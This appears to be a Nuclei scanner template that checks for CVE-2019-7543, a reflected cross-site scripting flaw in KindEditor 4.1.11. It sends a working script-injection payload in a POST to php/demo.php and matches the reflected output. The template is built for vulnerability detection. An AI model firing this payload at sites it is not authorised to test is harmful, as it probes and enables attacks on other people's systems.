id: CVE-2019-7543

info:
  name: KindEditor 4.1.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION-Deployments
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
    epss-score: 0.03134
    epss-percentile: 0.86206
    cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kindsoft
    product: kindeditor
  tags: cve,cve2019,kindeditor,xss,kindsoft,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'

    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ea2b81207fb0400f4c80edd091382bc5d159e965b31cd3b0d06b625d969f3eb3022100945eaf4da52aaf452dc9b214c12808957011a6f67a8794cbf615d45fea8728fa:922c64590222798bb761d5b6d8e72950